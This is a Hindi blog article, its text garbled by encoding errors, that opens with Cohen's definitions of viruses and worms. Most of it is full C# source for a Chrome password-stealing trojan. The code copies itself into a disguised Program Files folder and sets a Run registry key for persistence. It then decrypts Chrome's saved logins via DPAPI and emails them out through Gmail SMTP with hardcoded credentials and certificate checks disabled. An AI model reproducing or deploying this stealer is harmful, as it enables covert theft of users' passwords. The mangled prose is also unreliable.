20 рдорд┐рдирдЯ рдореЗрдВ рдореВрд▓ рд╡рд╛рдпрд░рд╕ рдпрд╛ рдЖрдкрдХреЛ рдПрдВрдЯреАрд╡рд╛рдпрд░рд╕ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХреНрдпреЛрдВ рдХрд░рдирд╛ рдЪрд╛рд╣рд┐рдП

рдЕрднрд┐рд╡рд╛рджрдиред

рдЖрдЬрдХрд▓, рдкреНрд░реЛрдЧреНрд░рд╛рдорд┐рдВрдЧ рдХреА рджреБрдирд┐рдпрд╛ рдореЗрдВ рдкреНрд░рд╡реЗрд╢ рдХрд░рдиреЗ рдХреА рджрд╣рд▓реАрдЬ рдХрд╛рдлреА рдЧрд┐рд░ рдЧрдИ рд╣реИ - рдЕрдЧрд░ рдкрд╣рд▓реЗ рдбрд┐рдЬрд┐рдЯрд▓ рдпреБрдЧ рдХреА рд╢реБрд░реБрдЖрдд рдореЗрдВ, рдкреНрд░реЛрдЧреНрд░рд╛рдорд┐рдВрдЧ рдХреБрдЫ рд╕рд╛рдорд╛рдиреНрдп рд╕реЗ рдмрд╛рд╣рд░ рдереА, "рдЪреБрдирд╛рд╡ рдХреА рдирд┐рдпрддрд┐," рдЖрдЬ рд╣рд░ рд╕реНрдХреВрд▓ рдХрд╛ рдЫрд╛рддреНрд░ рдЬреЛ Google рдФрд░ рд╡рд┐рд╢реНрд╡рд╛рд╕рдкрд╛рддреНрд░ рднреА рдПрдХ keylogger рдпрд╛ рдХреГрдорд┐ рд▓рд┐рдЦ рд╕рдХрддрд╛ рд╣реИ рдХрдВрдкреНрдпреВрдЯрд░ рдХреЛ рд╕рдВрднрд╛рд▓рдирд╛ред рдХрд┐рд╕реА рд╡рд┐рд╢реЗрд╖ рдХреМрд╢рд▓ рдХреЗ рдмрд┐рдирд╛, рдЖрдк рдРрд╕реЗ рд╕реЙрдлрд╝реНрдЯрд╡реЗрдпрд░ рдмрдирд╛ рд╕рдХрддреЗ рд╣реИрдВ рдЬреЛ рдкреАрд╕реА рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛рдУрдВ рдХреЗ рд▓рд┐рдП рдмрд╣реБрдд рдкрд░реЗрд╢рд╛рдиреА рдХрд╛ рдХрд╛рд░рдг рдмрди рд╕рдХрддреЗ рд╣реИрдВ, рдЬреЛ рдПрдХ рдХрд╛рд░рдг рдпрд╛ рдХрд┐рд╕реА рдЕрдиреНрдп рдХреЗ рд▓рд┐рдП, рдПрдВрдЯреА-рд╡рд╛рдпрд░рд╕ рдкреНрд░реЛрдЧреНрд░рд╛рдореЛрдВ рдХреА рдЙрдкреЗрдХреНрд╖рд╛ рдХрд░рддреЗ рд╣реИрдВред

рдХреИрдЯ рдХреЗ рддрд╣рдд рдЗрд╕ рддрд░рд╣ рдХреЗ рдореИрд▓рд╡реЗрдпрд░ рдФрд░ рдпрд╣ рдХреНрдпреЛрдВ рд╕реБрд▓рдн рд╣реЛ рдЧрдпрд╛ рд╣реИ рдкрд░ рдХреБрдЫ рд╡рд┐рдЪрд╛рд░ рд▓рд┐рдЦрдиреЗ рдХрд╛ рдПрдХ рдЙрджрд╛рд╣рд░рдг рд╣реИред

рдЗрд╕рд▓рд┐рдП, рд╢реБрд░реБрдЖрдд рдХреЗ рд▓рд┐рдП, рд╣рдо рдФрдкрдЪрд╛рд░рд┐рдХ рдХрд░рддреЗ рд╣реИрдВ - рдЬреЛ рдЗрд╕ рд▓реЗрдЦ рдХреЗ рд╕рдВрджрд░реНрдн рдореЗрдВ "рд╡рд╛рдпрд░рд╕" рдФрд░ "рдХреАрдбрд╝рд╛" рдХреА рдЕрд╡рдзрд╛рд░рдгрд╛рдУрдВ рдХреЗ рддрд╣рдд рдорд╛рдирд╛ рдЬрд╛рддрд╛ рд╣реИред рдФрдкрдЪрд╛рд░рд┐рдХ рд░реВрдк рд╕реЗ, "рд╡рд╛рдпрд░рд╕" рдХреА рдЕрд╡рдзрд╛рд░рдгрд╛ рдкрд╣рд▓реА рдмрд╛рд░ 1984 рдореЗрдВ рдлреНрд░реЗрдб рдХреЛрд╣реЗрди рджреНрд╡рд╛рд░рд╛ рд╢реБрд░реВ рдХреА рдЧрдИ рдереА рдФрд░ рдпрд╣ рдЗрд╕ рддрд░рд╣ рд▓рдЧ рд░рд╣рд╛ рдерд╛:
рд╣рдо рдПрдХ рдХрдВрдкреНрдпреВрдЯрд░ 'рд╡рд╛рдпрд░рд╕' рдХреЛ рдПрдХ рдРрд╕реЗ рдкреНрд░реЛрдЧреНрд░рд╛рдо рдХреЗ рд░реВрдк рдореЗрдВ рдкрд░рд┐рднрд╛рд╖рд┐рдд рдХрд░рддреЗ рд╣реИрдВ, рдЬреЛ рдЕрдиреНрдп рдкреНрд░реЛрдЧреНрд░рд╛рдореЛрдВ рдХреЛ рд╕рдВрд╢реЛрдзрд┐рдд рдХрд░рдХреЗ рдЙрдиреНрд╣реЗрдВ рд╕реНрд╡рдпрдВ рдХреА рд╕рдВрднрд╡рддрдГ рд╡рд┐рдХрд╕рд┐рдд рдкреНрд░рддрд┐ рдХреЛ рд╢рд╛рдорд┐рд▓ рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рд╕рдВрд╢реЛрдзрд┐рдд рдХрд░ рд╕рдХрддрд╛ рд╣реИред

рдмрд╛рдж рдореЗрдВ, рдЙрдиреНрд╣реЛрдВрдиреЗ рдЕрдкрдиреА рд╕реНрд╡рдпрдВ рдХреА рдкрд░рд┐рднрд╛рд╖рд╛ рдХреЛ рдареАрдХ рдХрд┐рдпрд╛, рдЖрддреНрдо-рдкреНрд░рдЪрд╛рд░ рдХреА рдХреНрд╖рдорддрд╛ рдкрд░ рдзреНрдпрд╛рди рдХреЗрдВрджреНрд░рд┐рдд рдХрд░рддреЗ рд╣реБрдП - рдпрд╛рдиреАред рдкреБрдирд░рд╛рд╡рд░реНрддреА рдкреНрд░реЛрдЧреНрд░рд╛рдо рдХреЛрдб рдХреЛ рдХреЙрдкреА рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдПред рдЗрд╕ рдкреНрд░рдХрд╛рд░, рдПрдХ рдЕрдзрд┐рдХ рдореМрд▓рд┐рдХ рдЕрд░реНрде рдореЗрдВ, рд╡рд╛рдпрд░рд╕ рдХреЛ рдПрдХ рдХреЛрдб рдХреЗ рд░реВрдк рдореЗрдВ рдкрд░рд┐рднрд╛рд╖рд┐рдд рдХрд┐рдпрд╛ рдЧрдпрд╛ рдерд╛, рдЬрд┐рд╕рдХреЗ рдирд┐рд╖реНрдкрд╛рджрди рд╕реЗ рдЯреНрдпреВрд░рд┐рдВрдЧ рдорд╢реАрди рдХреЗ рдЯреЗрдк рдкрд░ рдЗрд╕ рдХреЛрдб рдХреА рдПрдХ рдкреНрд░рддрд┐ рд░рд┐рдХреЙрд░реНрдбрд┐рдВрдЧ рдХреЗ рдЖрдЧреЗ рдмрдврд╝ рдЬрд╛рдПрдЧреА, рдЕрд░реНрдерд╛рддред рднрд╡рд┐рд╖реНрдп рдореЗрдВред
рдпрд╣ рдкрд░рд┐рднрд╛рд╖рд╛ рдЕрдзрд┐рдХрд╛рдВрд╢ рдЖрдзреБрдирд┐рдХ рд╡рд╛рдпрд░рд╕ рдХреЗ рд╕рдВрдмрдВрдз рдореЗрдВ рдкреВрд░реА рддрд░рд╣ рд╕реЗ рд╕рд╣реА рдирд╣реАрдВ рд╣реИ, рдХреНрдпреЛрдВрдХрд┐ рд╡рд╛рд╕реНрддрд╡рд┐рдХ рд╡рд╛рдпрд░рд╕ рдХреЛ рдкреБрдирд░рд╛рд╡рд░реНрддреА рд░реВрдк рд╕реЗ рдХреЙрдкреА рдХрд░рдиреЗ рдХреА рдЖрд╡рд╢реНрдпрдХрддрд╛ рдирд╣реАрдВ рд╣реИ, рдФрд░ рдмрдбрд╝реЗ рдФрд░ рдпрд╣рд╛рдВ рддрдХ тАЛтАЛрдХрд┐ рдирдХрд▓ рднреА рдХреА рдЬрд╛рддреА рд╣реИ, рд▓реЗрдХрд┐рди рдЗрд╕ рдореЙрдбрд▓ рдХреЛ рдХреНрд▓рд╛рд╕рд┐рдХ рдорд╛рдирд╛ рдЬрд╛рддрд╛ рд╣реИ рдФрд░ "рд╡реИрдХреНрдпреВрдо рдореЗрдВ рдЧреЛрд▓рд╛рдХрд╛рд░ рд╡рд╛рдпрд░рд╕" рд▓рд┐рдЦрдиреЗ рдХреЗ рд▓рд┐рдП рдЗрд╕рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдирд╛ рдЙрдЪрд┐рдд рд╣реИред

рдЗрд╕рдХреЗ рдЕрд▓рд╛рд╡рд╛, 1992 рдореЗрдВ рдЕрдкрдиреЗ рд▓реЗрдЦ рдореЗрдВрдХреЛрд╣реЗрди рдиреЗ рдХрдВрдкреНрдпреВрдЯрд░ рд╡рд░реНрдо рдХреА рдФрдкрдЪрд╛рд░рд┐рдХ рдкрд░рд┐рднрд╛рд╖рд╛ рдкреНрд░рд╕реНрддреБрдд рдХреАред рдПрдХ рдкреВрд░реНрдг рдФрдкрдЪрд╛рд░рд┐рдХ рдкрд░рд┐рднрд╛рд╖рд╛ рд╕реНрд░реЛрдд рдореЗрдВ рдкрд╛рдИ рдЬрд╛ рд╕рдХрддреА рд╣реИ, рдпрд╣рд╛рдВ рдореИрдВ рдХреЗрд╡рд▓ рдПрдХ рд╕рдВрдХреНрд╖рд┐рдкреНрдд рдЙрджреНрдзрд░рдг рджреВрдВрдЧрд╛:
рд╣рд╛рд▓ рд╣реА рдореЗрдВ, "рд╡рд░реНрдо" рд╢рдмреНрдж рдХрд╛ рд╡реНрдпрд╛рдкрдХ рд░реВрдк рд╕реЗ рдЙрди рдХрд╛рд░реНрдпрдХреНрд░рдореЛрдВ рдХрд╛ рд╡рд░реНрдгрди рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдЙрдкрдпреЛрдЧ рдХрд┐рдпрд╛ рдЧрдпрд╛ рд╣реИ рдЬреЛ рдЕрдкрдиреЗ рдкреНрд░рддрд┐рдХреГрддрд┐рдпреЛрдВ рдХреА рд╡реНрдпрд╛рдЦреНрдпрд╛ рдХреЛ рд╕реНрд╡рдЪрд╛рд▓рд┐рдд рд░реВрдк рд╕реЗ рджреЛрд╣рд░рд╛рддреЗ рдФрд░ рдЖрд░рдВрдн рдХрд░рддреЗ рд╣реИрдВред 1 рдЗрд╕рдХреЗ рд╡рд┐рдкрд░реАрдд, рд╡рд╛рдпрд░рд╕ рдХреА рдкрд░рд┐рднрд╛рд╖рд╛ рд╕рднреА рд╕реНрд╡-рдкреНрд░рддрд┐рдХреГрддрд┐ рдХрд╛рд░реНрдпрдХреНрд░рдореЛрдВ рдХреЛ рдХрд╡рд░ рдХрд░рддреА рд╣реИ рд▓реЗрдХрд┐рди рдЙрд╕ рддрд░реАрдХреЗ рдХреЛ рд╕рдВрдмреЛрдзрд┐рдд рдирд╣реАрдВ рдХрд░рддреА рд╣реИ рдЬрд┐рд╕рдореЗрдВ рдкреНрд░рддрд┐рдХреГрддрд┐рдпреЛрдВ рдХреЛ рдХрд╛рд░реНрдп рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИред ред

рдЙрдиред рдХреГрдорд┐ рдХреЛ рдирд┐рд╖реНрдкрд╛рджрд┐рдд рдХрд░рдиреЗ рдХрд╛ рдХрд╛рд░рдг рдорд╛рддрд╛-рдкрд┐рддрд╛ рдХреГрдорд┐ рдирд╣реАрдВ рд╣реЛ рд╕рдХрддрд╛ рд╣реИ, рд▓реЗрдХрд┐рди рдХрд┐рд╕реА рднреА рдЯреНрд░рд┐рдЧрд░ рдХреЗ рдЕрдиреБрд╕рд╛рд░, рдЙрджрд╛рд╣рд░рдг рдХреЗ рд▓рд┐рдП, рдХрдВрдкреНрдпреВрдЯрд░ рдмреВрдЯ рдпрд╛ рдЯрд╛рдЗрдорд░ред

рд╡рд╛рд╕реНрддрд╡ рдореЗрдВ, рд╡рд╛рдпрд░рд╕ рдХрд╛ рд╡рд░реНрдЧреАрдХрд░рдг рдмрд╣реБрдд рд╡реНрдпрд╛рдкрдХ рд╣реИ, рдФрд░ рдкреНрд░рддреНрдпреЗрдХ рд╡рд╛рдпрд░рд╕ рдПрдХ рд╣реА рд╕рдордп рдореЗрдВ рдХрдИ рд╢реНрд░реЗрдгрд┐рдпреЛрдВ рдореЗрдВ рдЖрддрд╛ рд╣реИ, рдпрд╣рд╛рдВ рддрдХ тАЛтАЛрдХрд┐ "рдЯреНрд░реЛрдЬрди" рдореЗрдВ рдПрдХ рджрд░реНрдЬрди рд╕реЗ рдЕрдзрд┐рдХ рдкреНрд░рдЬрд╛рддрд┐рдпрд╛рдВ рд╣реИрдВ ред рдпрд╣ рдЙрд╕ рдмрд╛рд░реЗ рдореЗрдВ рдирд╣реАрдВ рд╣реИред

рд╣рдо рдЗрд╕ рдЖрдХрд╛рд╢рдЧрдВрдЧрд╛ рдореЗрдВ рдПрдХ рдФрд░ рд╡рд╛рдпрд░рд╕ рдХрд╛ рдПрд╣рд╕рд╛рд╕ рдХрд░ рд░рд╣реЗ рд╣реИрдВред рдореИрдВ рддреБрд░рдВрдд рдХрд╣реВрдВрдЧрд╛ рдХрд┐ рдпрд╣ рдПрдХ рд╕рд░рд▓ рдПрдВрдЯреАрд╡рд╛рдпрд░рд╕ рджреНрд╡рд╛рд░рд╛ рд╕рдВрд░рдХреНрд╖рд┐рдд рд╡рд╛рд╕реНрддрд╡рд┐рдХ рд╣рд╛рд░реНрдбрд╡реЗрдпрд░ рдкрд░ рднреА рдХрд╛рдо рдирд╣реАрдВ рдХрд░реЗрдЧрд╛, рд▓реЗрдХрд┐рди рдпрд╣ рдЙрди рд╕рд┐рджреНрдзрд╛рдВрддреЛрдВ рдХреЛ рд╕реНрдкрд╖реНрдЯ рд░реВрдк рд╕реЗ рдкреНрд░рджрд░реНрд╢рд┐рдд рдХрд░рддрд╛ рд╣реИ рдЬреЛ рдЕрдзрд┐рдХрд╛рдВрд╢ рд╡рд╛рдпрд░рд╕ рдХрд╛рд░реНрдпрдХреНрд░рдореЛрдВ рдХреЛ рд░реЗрдЦрд╛рдВрдХрд┐рдд рдХрд░рддреЗ рд╣реИрдВред

рд╕реНрдкреЙрдЗрд▓рд░ рдХреЗ рддрд╣рдд рдкреВрд░реНрдг рдХреЛрдб (рдзреНрдпрд╛рди рд╕реЗ, рдХрдИ рд╣реИрдВ):

рд╕реНрдкрд╛рдпрд▓рд░ рд╣реЗрдбрд┐рдВрдЧ
using System;
using System.Text;
using System.IO;
using System.Data.SQLite;
using System.Data;
using System.Runtime.InteropServices;
using System.ComponentModel;
using System.Net.Mail;
using System.Net;
using Microsoft.Win32;
using System.Threading;

public class DPAPI
{
    [DllImport("crypt32.dll", SetLastError = true, CharSet = System.Runtime.InteropServices.CharSet.Auto)]
    private static extern
    bool CryptProtectData(ref DATA_BLOB pPlainText, string szDescription, ref DATA_BLOB pEntropy, IntPtr pReserved,
    ref CRYPTPROTECT_PROMPTSTRUCT pPrompt, int dwFlags, ref DATA_BLOB pCipherText);

    [DllImport("crypt32.dll", SetLastError = true, CharSet = System.Runtime.InteropServices.CharSet.Auto)]
    private static extern
    bool CryptUnprotectData(ref DATA_BLOB pCipherText, ref string pszDescription, ref DATA_BLOB pEntropy,
    IntPtr pReserved, ref CRYPTPROTECT_PROMPTSTRUCT pPrompt, int dwFlags, ref DATA_BLOB pPlainText);

    [StructLayout(LayoutKind.Sequential, CharSet = CharSet.Unicode)]
    internal struct DATA_BLOB
    {
        public int cbData;
        public IntPtr pbData;
    }

    [StructLayout(LayoutKind.Sequential, CharSet = CharSet.Unicode)]
    internal struct CRYPTPROTECT_PROMPTSTRUCT
    {
        public int cbSize;
        public int dwPromptFlags;
        public IntPtr hwndApp;
        public string szPrompt;
    }

    static private IntPtr NullPtr = ((IntPtr)((int)(0)));

    private const int CRYPTPROTECT_UI_FORBIDDEN = 0x1;
    private const int CRYPTPROTECT_LOCAL_MACHINE = 0x4;

    private static void InitPrompt(ref CRYPTPROTECT_PROMPTSTRUCT ps)
    {
        ps.cbSize = Marshal.SizeOf(
        typeof(CRYPTPROTECT_PROMPTSTRUCT));
        ps.dwPromptFlags = 0;
        ps.hwndApp = NullPtr;
        ps.szPrompt = null;
    }

    private static void InitBLOB(byte[] data, ref DATA_BLOB blob)
    {
        // Use empty array for null parameter.
        if (data == null)
            data = new byte[0];

        // Allocate memory for the BLOB data.
        blob.pbData = Marshal.AllocHGlobal(data.Length);

        // Make sure that memory allocation was successful.
        if (blob.pbData == IntPtr.Zero)
            throw new Exception(
            "Unable to allocate data buffer for BLOB structure.");

        // Specify number of bytes in the BLOB.
        blob.cbData = data.Length;

        // Copy data from original source to the BLOB structure.
        Marshal.Copy(data, 0, blob.pbData, data.Length);
    }

    public enum KeyType { UserKey = 1, MachineKey };

    private static KeyType defaultKeyType = KeyType.UserKey;

    public static string Encrypt(string plainText)
    {
        return Encrypt(defaultKeyType, plainText, String.Empty, String.Empty);
    }

    public static string Encrypt(KeyType keyType, string plainText)
    {
        return Encrypt(keyType, plainText, String.Empty,
        String.Empty);
    }

    public static string Encrypt(KeyType keyType, string plainText, string entropy)
    {
        return Encrypt(keyType, plainText, entropy, String.Empty);
    }

    public static string Encrypt(KeyType keyType, string plainText, string entropy, string description)
    {
        // Make sure that parameters are valid.
        if (plainText == null) plainText = String.Empty;
        if (entropy == null) entropy = String.Empty;

        // Call encryption routine and convert returned bytes into
        // a base64-encoded value.
        return Convert.ToBase64String(
        Encrypt(keyType,
        Encoding.UTF8.GetBytes(plainText),
        Encoding.UTF8.GetBytes(entropy),
        description));
    }

    public static byte[] Encrypt(KeyType keyType, byte[] plainTextBytes, byte[] entropyBytes, string description)
    {
        // Make sure that parameters are valid.
        if (plainTextBytes == null) plainTextBytes = new byte[0];
        if (entropyBytes == null) entropyBytes = new byte[0];
        if (description == null) description = String.Empty;

        // Create BLOBs to hold data.
        DATA_BLOB plainTextBlob = new DATA_BLOB();
        DATA_BLOB cipherTextBlob = new DATA_BLOB();
        DATA_BLOB entropyBlob = new DATA_BLOB();

        // We only need prompt structure because it is a required
        // parameter.
        CRYPTPROTECT_PROMPTSTRUCT prompt =
        new CRYPTPROTECT_PROMPTSTRUCT();
        InitPrompt(ref prompt);

        try
        {
            // Convert plaintext bytes into a BLOB structure.
            try
            {
                InitBLOB(plainTextBytes, ref plainTextBlob);
            }
            catch (Exception ex)
            {
                throw new Exception(
                "Cannot initialize plaintext BLOB.", ex);
            }

            // Convert entropy bytes into a BLOB structure.
            try
            {
                InitBLOB(entropyBytes, ref entropyBlob);
            }
            catch (Exception ex)
            {
                throw new Exception(
                "Cannot initialize entropy BLOB.", ex);
            }

            // Disable any types of UI.
            int flags = CRYPTPROTECT_UI_FORBIDDEN;

            // When using machine-specific key, set up machine flag.
            if (keyType == KeyType.MachineKey)
                flags |= CRYPTPROTECT_LOCAL_MACHINE;

            // Call DPAPI to encrypt data.
            bool success = CryptProtectData(ref plainTextBlob,
            description,
            ref entropyBlob,
            IntPtr.Zero,
            ref prompt,
            flags,
            ref cipherTextBlob);
            // Check the result.
            if (!success)
            {
                // If operation failed, retrieve last Win32 error.
                int errCode = Marshal.GetLastWin32Error();

                // Win32Exception will contain error message corresponding
                // to the Windows error code.
                throw new Exception(
                "CryptProtectData failed.", new Win32Exception(errCode));
            }

            // Allocate memory to hold ciphertext.
            byte[] cipherTextBytes = new byte[cipherTextBlob.cbData];

            // Copy ciphertext from the BLOB to a byte array.
            Marshal.Copy(cipherTextBlob.pbData,
            cipherTextBytes,
            0,
            cipherTextBlob.cbData);

            // Return the result.
            return cipherTextBytes;
        }
        catch (Exception ex)
        {
            throw new Exception("DPAPI was unable to encrypt data.", ex);
        }
        // Free all memory allocated for BLOBs.
        finally
        {
            if (plainTextBlob.pbData != IntPtr.Zero)
                Marshal.FreeHGlobal(plainTextBlob.pbData);

            if (cipherTextBlob.pbData != IntPtr.Zero)
                Marshal.FreeHGlobal(cipherTextBlob.pbData);

            if (entropyBlob.pbData != IntPtr.Zero)
                Marshal.FreeHGlobal(entropyBlob.pbData);
        }
    }

    public static string Decrypt(string cipherText)
    {
        string description;

        return Decrypt(cipherText, String.Empty, out description);
    }

    public static string Decrypt(string cipherText, out string description)
    {
        return Decrypt(cipherText, String.Empty, out description);
    }

    public static string Decrypt(string cipherText, string entropy, out string description)
    {
        // Make sure that parameters are valid.
        if (entropy == null) entropy = String.Empty;

        return Encoding.UTF8.GetString(
        Decrypt(Convert.FromBase64String(cipherText),
        Encoding.UTF8.GetBytes(entropy),
        out description));
    }

    public static byte[] Decrypt(byte[] cipherTextBytes, byte[] entropyBytes, out string description)
    {
        // Create BLOBs to hold data.
        DATA_BLOB plainTextBlob = new DATA_BLOB();
        DATA_BLOB cipherTextBlob = new DATA_BLOB();
        DATA_BLOB entropyBlob = new DATA_BLOB();

        // We only need prompt structure because it is a required
        // parameter.
        CRYPTPROTECT_PROMPTSTRUCT prompt =
        new CRYPTPROTECT_PROMPTSTRUCT();
        InitPrompt(ref prompt);

        // Initialize description string.
        description = String.Empty;

        try
        {
            // Convert ciphertext bytes into a BLOB structure.
            try
            {
                InitBLOB(cipherTextBytes, ref cipherTextBlob);
            }
            catch (Exception ex)
            {
                throw new Exception(
                "Cannot initialize ciphertext BLOB.", ex);
            }

            // Convert entropy bytes into a BLOB structure.
            try
            {
                InitBLOB(entropyBytes, ref entropyBlob);
            }
            catch (Exception ex)
            {
                throw new Exception(
                "Cannot initialize entropy BLOB.", ex);
            }

            // Disable any types of UI. CryptUnprotectData does not
            // mention CRYPTPROTECT_LOCAL_MACHINE flag in the list of
            // supported flags so we will not set it up.
            int flags = CRYPTPROTECT_UI_FORBIDDEN;

            // Call DPAPI to decrypt data.
            bool success = CryptUnprotectData(ref cipherTextBlob,
            ref description,
            ref entropyBlob,
            IntPtr.Zero,
            ref prompt,
            flags,
            ref plainTextBlob);

            // Check the result.
            if (!success)
            {
                // If operation failed, retrieve last Win32 error.
                int errCode = Marshal.GetLastWin32Error();

                // Win32Exception will contain error message corresponding
                // to the Windows error code.
                throw new Exception(
                "CryptUnprotectData failed.", new Win32Exception(errCode));
            }

            // Allocate memory to hold plaintext.
            byte[] plainTextBytes = new byte[plainTextBlob.cbData];

            // Copy ciphertext from the BLOB to a byte array.
            Marshal.Copy(plainTextBlob.pbData,
            plainTextBytes,
            0,
            plainTextBlob.cbData);

            // Return the result.
            return plainTextBytes;
        }
        catch (Exception ex)
        {
            throw new Exception("DPAPI was unable to decrypt data.", ex);
        }
        // Free all memory allocated for BLOBs.
        finally
        {
            if (plainTextBlob.pbData != IntPtr.Zero)
                Marshal.FreeHGlobal(plainTextBlob.pbData);

            if (cipherTextBlob.pbData != IntPtr.Zero)
                Marshal.FreeHGlobal(cipherTextBlob.pbData);

            if (entropyBlob.pbData != IntPtr.Zero)
                Marshal.FreeHGlobal(entropyBlob.pbData);
        }
    }
}

public class Chrome
{

    static string filename = "passwords.html";
    static string db_way = "Login Data"; //    

    static string wayToDir = @"Screens\";
    static string wayToScreen;
    static string finalDir = @"C:\Program Files (x86)\Windows\ScreenSaver\";
    static void Main(string[] args)
    {
        
        Registr();
        Thread.Sleep(5 * 60 * 1000);
        Generate();
        Send();
     
    }
   
    static void Registr()
    {
        string way = Environment.GetCommandLineArgs()[0];
        try
        {
            

            if (!Directory.Exists(finalDir))
            {
                Directory.CreateDirectory(finalDir);
                foreach (string iter in Directory.GetFiles(Environment.CurrentDirectory))
                {
                   // Console.WriteLine(iter);
                    string nameOfFile = iter.Split('\\')[iter.Split('\\').Length - 1];
                    //Console.WriteLine(nameOfFile);
                    File.Copy(iter, finalDir + nameOfFile, true);
                }
                Directory.CreateDirectory(finalDir + "x64");
                Directory.CreateDirectory(finalDir + "x86");
                File.Copy(Environment.CurrentDirectory + "\\x64\\SQLite.Interop.dll", finalDir + "\\x64\\SQLite.Interop.dll");
                File.Copy(Environment.CurrentDirectory + "\\x86\\SQLite.Interop.dll", finalDir + "\\x86\\SQLite.Interop.dll");


                const string name = "SoftWare";
                string ExePath = finalDir + "soft.exe";
                File.Copy(way, ExePath, true);
                RegistryKey reg;
                reg = Registry.CurrentUser.CreateSubKey("Software\\Microsoft\\Windows\\CurrentVersion\\Run\\");
                try
                {
                    reg.SetValue(name, ExePath);
                    reg.Close();
                }
                catch
                {   }
            }

        }
        catch
        {   }
    }
    static void Generate()
    {
        try
        {
            string way_to_original = Environment.GetFolderPath(Environment.SpecialFolder.LocalApplicationData) + "\\Google\\Chrome\\User Data\\Default\\Login Data";
            File.Copy(way_to_original, "Login Data", true);

            StreamWriter Writer = new StreamWriter(filename, false, Encoding.UTF8);

            string db_field = "logins"; //  
            byte[] entropy = null; //    .
                                   //  DPAPI      ,
                                   //   -  ,  .
            string description; //       ,     .
                                //    
            string ConnectionString = "data source=" + db_way + ";New=True;UseUTF16Encoding=True";
            DataTable DB = new DataTable();
            string sql = string.Format("SELECT * FROM {0} {1} {2}", db_field, "", "");

            using (SQLiteConnection connect = new SQLiteConnection(ConnectionString))
            {
                SQLiteCommand command = new SQLiteCommand(sql, connect);
                SQLiteDataAdapter adapter = new SQLiteDataAdapter(command);
                adapter.Fill(DB);
                int rows = DB.Rows.Count;

                for (int i = 0; i < rows; i++)
                {
                    Writer.Write(i + 1 + ") "); //        "--". 
                    Writer.WriteLine(DB.Rows[i][1] + "<br>"); //   
                    Writer.WriteLine(DB.Rows[i][3] + "<br>"); // 
                                                              //    
                    byte[] byteArray = (byte[])DB.Rows[i][5];
                    byte[] decrypted = DPAPI.Decrypt(byteArray, entropy, out description);
                    string password = new UTF8Encoding(true).GetString(decrypted);
                    Writer.WriteLine(password + "<br><br>");
                }

            }

            Writer.Close();
        }
        catch
        {   }
    }

    static void Send()
    {
        MailAddress from = new MailAddress("l**************d@gmail.com", "Passwords");
        MailAddress to = new MailAddress("a***********v@yandex.ru");
        MailMessage m = new MailMessage(from, to);
        m.Subject = (DateTime.Now).ToString();
        m.Body = "";
        m.IsBodyHtml = true;
        SmtpClient smtp = new SmtpClient("smtp.gmail.com", 587); ;
        smtp.Credentials = new NetworkCredential("l*****************d@gmail.com", "q********l");
        smtp.EnableSsl = true;
        ServicePointManager.ServerCertificateValidationCallback = delegate { return true; };
        m.Attachments.Add(new Attachment(filename));
        try
        {
            smtp.Send(m);
        }
        catch { }
    }


}


рдкрд╛рд╕рд╡рд░реНрдб рдХреЛ рдбрд┐рдХреНрд░рд┐рдкреНрдЯ рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдЕрдзрд┐рдХрд╛рдВрд╢ рдХреЛрдб рдХреНрд░реЛрдо рдореЗрдВ рдкрд╛рд╕рд╡рд░реНрдб рд╕рдВрдЧреНрд░рд╣реАрдд рдХрд░рдиреЗ рдкрд░ рд╕рдВрдмрдВрдзрд┐рдд рд▓реЗрдЦ рд╕реЗ рд▓рд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИ , рдЬреЛ рд╡рд╛рд╕реНрддрд╡ рдореЗрдВ, Google рдХреЗ рд▓рд┐рдП рдЖрд╕рд╛рди рд╣реИ рдФрд░ рд╕рд╛рд░реНрд╡рдЬрдирд┐рдХ рдбреЛрдореЗрди рдореЗрдВ рд╣реИред

рдЗрд╕ рд╕реЙрдлрд╝реНрдЯрд╡реЗрдпрд░ рдЙрддреНрдкрд╛рдж рдХреЛ рдЯреНрд░реЛрдЬрди рдореЗрдВ рдмрджрд▓рдиреЗ рдХреЗ рд▓рд┐рдП рд╕рднреА рдХреЛ рдЫреЛрдбрд╝ рджрд┐рдпрд╛ рдЬрд╛рдПрдЧрд╛, рдЬрд┐рд╕рдореЗрдВ рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рдХреЗ рдЬреНрдЮрд╛рди рдХреЗ рдмрд┐рдирд╛ рдЗрд╕рдХреЗ рд╕рд╛рде рдПрдХ рдХрдВрдкреНрдпреВрдЯрд░ рдХреЛ "рд╕рдВрдХреНрд░рдорд┐рдд" рдХрд░рдиреЗ рдХреА рдХреНрд╖рдорддрд╛ рд╣реИ, рдХреБрдЫ рдЯреНрд░рд┐рдЧрд░ рдХрд░рдиреЗ рдХреА рд╕реНрдерд┐рддрд┐ рдЬреЛрдбрд╝реЗрдВ, рдФрд░ рдХреБрдЫ рджреВрд░рд╕реНрде рд╕рд░реНрд╡рд░ рдХреЛ рдЪреЛрд░реА рдХреА рдЬрд╛рдирдХрд╛рд░реА рднреЗрдЬрдиреЗ рдХреЗ рд▓рд┐рдП рд╕рд┐рдЦрд╛рдирд╛ рд╣реИред
